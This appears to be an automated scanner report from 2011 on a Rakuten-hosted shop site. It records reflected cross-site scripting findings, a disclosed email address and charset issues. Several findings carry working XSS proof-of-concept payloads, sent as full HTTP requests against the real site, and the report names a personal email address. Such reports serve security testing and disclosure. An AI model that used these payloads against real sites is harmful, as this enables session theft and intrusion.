Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6faf1"><img%20src%3da%20onerror%3dalert(1)>b8ebddc57f8 was submitted in the REST URL parameter 1. This input was echoed as 6faf1"><img src=a onerror=alert(1)>b8ebddc57f8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /gold6faf1"><img%20src%3da%20onerror%3dalert(1)>b8ebddc57f8/shushubiz/left0408.html HTTP/1.1 Host: www.rakuten.ne.jp Proxy-Connection: keep-alive Referer: http://item.rakuten.co.jp/shushubiz/aemsp152/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Pragma: no-cache Vary: Accept-Encoding Content-Length: 2067 Content-Type: text/html Cache-Control: no-cache Date: Mon, 15 Aug 2011 19:29:40 GMT Connection: close
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfde3"><img%20src%3da%20onerror%3dalert(1)>2f675c604df was submitted in the REST URL parameter 2. This input was echoed as dfde3"><img src=a onerror=alert(1)>2f675c604df in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /gold/shushubizdfde3"><img%20src%3da%20onerror%3dalert(1)>2f675c604df/left0408.html HTTP/1.1 Host: www.rakuten.ne.jp Proxy-Connection: keep-alive Referer: http://item.rakuten.co.jp/shushubiz/aemsp152/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Pragma: no-cache Vary: Accept-Encoding Content-Length: 2077 Content-Type: text/html Cache-Control: no-cache Date: Mon, 15 Aug 2011 19:29:43 GMT Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6987"><img%20src%3da%20onerror%3dalert(1)>42f4590b1fb was submitted in the REST URL parameter 1. This input was echoed as f6987"><img src=a onerror=alert(1)>42f4590b1fb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /f6987"><img%20src%3da%20onerror%3dalert(1)>42f4590b1fb/shushubiz/a HTTP/1.1 Host: www.rakuten.ne.jp User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.rakuten.ne.jp/gold6faf1%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Eb8ebddc57f8/shushubiz/left0408.html
Response
HTTP/1.1 404 Not Found Server: Apache Pragma: no-cache Vary: Accept-Encoding Content-Length: 2059 Content-Type: text/html Cache-Control: no-cache Date: Mon, 15 Aug 2011 19:40:27 GMT Connection: close
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 468a9<img%20src%3da%20onerror%3dalert(1)>fc7c605ee6a was submitted in the REST URL parameter 1. This input was echoed as 468a9<img src=a onerror=alert(1)>fc7c605ee6a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /gold6faf1%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Eb8ebddc57f8468a9<img%20src%3da%20onerror%3dalert(1)>fc7c605ee6a/shushubiz/a HTTP/1.1 Host: www.rakuten.ne.jp User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.rakuten.ne.jp/gold6faf1%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Eb8ebddc57f8/shushubiz/left0408.html
Response
HTTP/1.1 404 Not Found Server: Apache Pragma: no-cache Vary: Accept-Encoding Content-Length: 2187 Content-Type: text/html Cache-Control: no-cache Date: Mon, 15 Aug 2011 19:40:29 GMT Connection: close
The following email address was disclosed in the response:
katayama@shu-shu.biz
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /gold/shushubiz/left0408.html HTTP/1.1 Host: www.rakuten.ne.jp Proxy-Connection: keep-alive Referer: http://item.rakuten.co.jp/shushubiz/aemsp152/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Fri, 12 Aug 2011 04:20:24 GMT ETag: "59dee-3e26-3b789200" Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 15910 Content-Type: text/html Date: Mon, 15 Aug 2011 19:29:34 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-t ...[SNIP]... <a target="_parent" href="mailto:katayama@shu-shu.biz"> ...[SNIP]...
3. HTML uses unrecognised charsetprevious There are 2 instances of this issue:
Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:
EUC-JP
Request
GET /gold/shushubiz/left0408.html HTTP/1.1 Host: www.rakuten.ne.jp Proxy-Connection: keep-alive Referer: http://item.rakuten.co.jp/shushubiz/aemsp152/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache Last-Modified: Fri, 12 Aug 2011 04:20:24 GMT ETag: "59dee-3e26-3b789200" Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 15910 Content-Type: text/html Date: Mon, 15 Aug 2011 19:29:34 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html; charset=EUC-JP" /> <title> ...[SNIP]...
The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:
x-euc-jp
Request
GET /gold6faf1%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Eb8ebddc57f8/shushubiz/a HTTP/1.1 Host: www.rakuten.ne.jp User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.rakuten.ne.jp/gold6faf1%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Eb8ebddc57f8/shushubiz/left0408.html
Response
HTTP/1.1 404 Not Found Server: Apache Pragma: no-cache Vary: Accept-Encoding Content-Length: 2099 Content-Type: text/html Cache-Control: no-cache Date: Mon, 15 Aug 2011 19:40:22 GMT Connection: close